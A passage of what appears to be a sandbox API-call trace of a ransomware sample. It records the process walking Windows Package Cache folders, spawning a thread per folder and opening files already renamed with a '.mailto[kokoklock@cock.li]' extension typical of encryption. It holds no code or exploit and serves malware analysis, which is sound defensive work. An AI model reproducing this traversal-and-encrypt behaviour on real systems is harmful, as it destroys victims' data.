Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages" [0173.836] wcscat (in: _Dest=0x4f0ac88, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\" [0173.836] wcscat (in: _Dest=0x4f0ac88, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*" [0173.836] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9ae60 [0173.836] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*", lpFindFileData=0x2f9ae60 | out: lpFindFileData=0x2f9ae60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1dba9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045a68 [0173.836] wcscmp (_String1=".", _String2=".") returned 0 [0173.836] FindNextFileW (in: hFindFile=0x3045a68, lpFindFileData=0x2f9ae60 | out: lpFindFileData=0x2f9ae60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1dba9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.836] wcscmp (_String1="..", _String2=".") returned 1 [0173.836] wcscmp (_String1="..", _String2="..") returned 0 [0173.836] FindNextFileW (in: hFindFile=0x3045a68, lpFindFileData=0x2f9ae60 | out: lpFindFileData=0x2f9ae60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f759d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd41e3e2d, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0173.836] wcscmp (_String1="vcRuntimeAdditional_amd64", _String2=".") returned 1 [0173.836] wcscmp (_String1="vcRuntimeAdditional_amd64", _String2="..") returned 1 [0173.836] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xec) returned 0x3054fe8 [0173.836] wcscpy (in: _Dest=0x3054fe8, _Source="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages" [0173.836] wcscat (in: _Dest=0x3054fe8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\" [0173.837] wcscat (in: _Dest=0x3054fe8, _Source="vcRuntimeAdditional_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64" [0173.898] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x3054fe8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a0 [0173.899] FindNextFileW (in: hFindFile=0x3045a68, lpFindFileData=0x2f9ae60 | out: lpFindFileData=0x2f9ae60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f759d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd41e3e2d, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0173.899] FindClose (in: hFindFile=0x3045a68 | out: hFindFile=0x3045a68) returned 1 [0173.899] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9ae60) returned 1 [0173.899] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0ac88) returned 1 [0173.899] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30243d0) returned 1 [0173.899] RtlExitUserThread (Status=0x0) Thread: id = 2219 os_tid = 0x1394 [0173.837] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xbe) returned 0x4f0ad50 [0173.837] wcscpy (in: _Dest=0x4f0ad50, _Source="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages" [0173.837] wcscat (in: _Dest=0x4f0ad50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\" [0173.837] wcscat (in: _Dest=0x4f0ad50, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*" [0173.837] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9a728 [0173.837] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*", lpFindFileData=0x2f9a728 | out: lpFindFileData=0x2f9a728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30454e8 [0173.838] wcscmp (_String1=".", _String2=".") returned 0 [0173.838] FindNextFileW (in: hFindFile=0x30454e8, lpFindFileData=0x2f9a728 | out: lpFindFileData=0x2f9a728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.838] wcscmp (_String1="..", _String2=".") returned 1 [0173.838] wcscmp (_String1="..", _String2="..") returned 0 [0173.838] FindNextFileW (in: hFindFile=0x30454e8, lpFindFileData=0x2f9a728 | out: lpFindFileData=0x2f9a728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0173.838] wcscmp (_String1="vcRuntimeMinimum_amd64", _String2=".") returned 1 [0173.838] wcscmp (_String1="vcRuntimeMinimum_amd64", _String2="..") returned 1 [0173.838] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe8) returned 0x2fc4670 [0173.838] wcscpy (in: _Dest=0x2fc4670, _Source="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages" [0173.838] wcscat (in: _Dest=0x2fc4670, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\" [0173.838] wcscat (in: _Dest=0x2fc4670, _Source="vcRuntimeMinimum_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64" [0173.897] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fc4670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a4 [0173.897] FindNextFileW (in: hFindFile=0x30454e8, lpFindFileData=0x2f9a728 | out: lpFindFileData=0x2f9a728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0173.897] FindClose (in: hFindFile=0x30454e8 | out: hFindFile=0x30454e8) returned 1 [0173.897] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9a728) returned 1 [0173.897] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0ad50) returned 1 [0173.897] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6bff8) returned 1 [0173.897] RtlExitUserThread (Status=0x0) Thread: id = 2220 os_tid = 0x1398 [0173.838] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xbe) returned 0x4f0ae18 [0173.838] wcscpy (in: _Dest=0x4f0ae18, _Source="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages" [0173.838] wcscat (in: _Dest=0x4f0ae18, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\" [0173.838] wcscat (in: _Dest=0x4f0ae18, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*" [0173.838] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9a990 [0173.838] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*", lpFindFileData=0x2f9a990 | out: lpFindFileData=0x2f9a990*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec10ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045528 [0173.839] wcscmp (_String1=".", _String2=".") returned 0 [0173.839] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9a990 | out: lpFindFileData=0x2f9a990*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec10ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.839] wcscmp (_String1="..", _String2=".") returned 1 [0173.839] wcscmp (_String1="..", _String2="..") returned 0 [0173.839] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9a990 | out: lpFindFileData=0x2f9a990*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec173c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b4c2ed, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0173.839] wcscmp (_String1="vcRuntimeAdditional_x86", _String2=".") returned 1 [0173.839] wcscmp (_String1="vcRuntimeAdditional_x86", _String2="..") returned 1 [0173.839] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xea) returned 0x30551d8 [0173.839] wcscpy (in: _Dest=0x30551d8, _Source="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages" [0173.839] wcscat (in: _Dest=0x30551d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\" [0173.839] wcscat (in: _Dest=0x30551d8, _Source="vcRuntimeAdditional_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86" [0173.895] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x30551d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a8 [0173.896] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9a990 | out: lpFindFileData=0x2f9a990*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec173c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b4c2ed, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0173.896] FindClose (in: hFindFile=0x3045528 | out: hFindFile=0x3045528) returned 1 [0173.896] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9a990) returned 1 [0173.896] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0ae18) returned 1 [0173.896] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f63a70) returned 1 [0173.896] RtlExitUserThread (Status=0x0) Thread: id = 2221 os_tid = 0x139c [0173.840] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xbe) returned 0x4f0aee0 [0173.840] wcscpy (in: _Dest=0x4f0aee0, _Source="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages" [0173.840] wcscat (in: _Dest=0x4f0aee0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\" [0173.840] wcscat (in: _Dest=0x4f0aee0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*" [0173.840] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9abf8 [0173.840] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*", lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebfbe2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045568 [0173.840] wcscmp (_String1=".", _String2=".") returned 0 [0173.840] FindNextFileW (in: hFindFile=0x3045568, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebfbe2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.840] wcscmp (_String1="..", _String2=".") returned 1 [0173.840] wcscmp (_String1="..", _String2="..") returned 0 [0173.840] FindNextFileW (in: hFindFile=0x3045568, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec031b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0173.840] wcscmp (_String1="vcRuntimeMinimum_x86", _String2=".") returned 1 [0173.840] wcscmp (_String1="vcRuntimeMinimum_x86", _String2="..") returned 1 [0173.840] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe4) returned 0x2fc4760 [0173.840] wcscpy (in: _Dest=0x2fc4760, _Source="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages" [0173.840] wcscat (in: _Dest=0x2fc4760, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\" [0173.840] wcscat (in: _Dest=0x2fc4760, _Source="vcRuntimeMinimum_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86" [0173.892] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fc4760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ac [0173.892] FindNextFileW (in: hFindFile=0x3045568, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec031b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0173.893] FindClose (in: hFindFile=0x3045568 | out: hFindFile=0x3045568) returned 1 [0173.893] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9abf8) returned 1 [0173.893] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0aee0) returned 1 [0173.893] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6a4a8) returned 1 [0173.893] RtlExitUserThread (Status=0x0) Thread: id = 2222 os_tid = 0x13a0 [0173.841] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.843] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.845] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.846] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.847] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc4d00) returned 1 [0173.847] RtlExitUserThread (Status=0x0) Thread: id = 2223 os_tid = 0x13a4 [0173.851] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.853] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.855] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.856] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.858] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f84c18) returned 1 [0173.858] RtlExitUserThread (Status=0x0) Thread: id = 2224 os_tid = 0x13a8 [0173.861] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xbc) returned 0x4f0b2c8 [0173.861] wcscpy (in: _Dest=0x4f0b2c8, _Source="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages" [0173.861] wcscat (in: _Dest=0x4f0b2c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\" [0173.861] wcscat (in: _Dest=0x4f0b2c8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*" [0173.861] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9b0c8 [0173.861] FindFirstFileW (in: 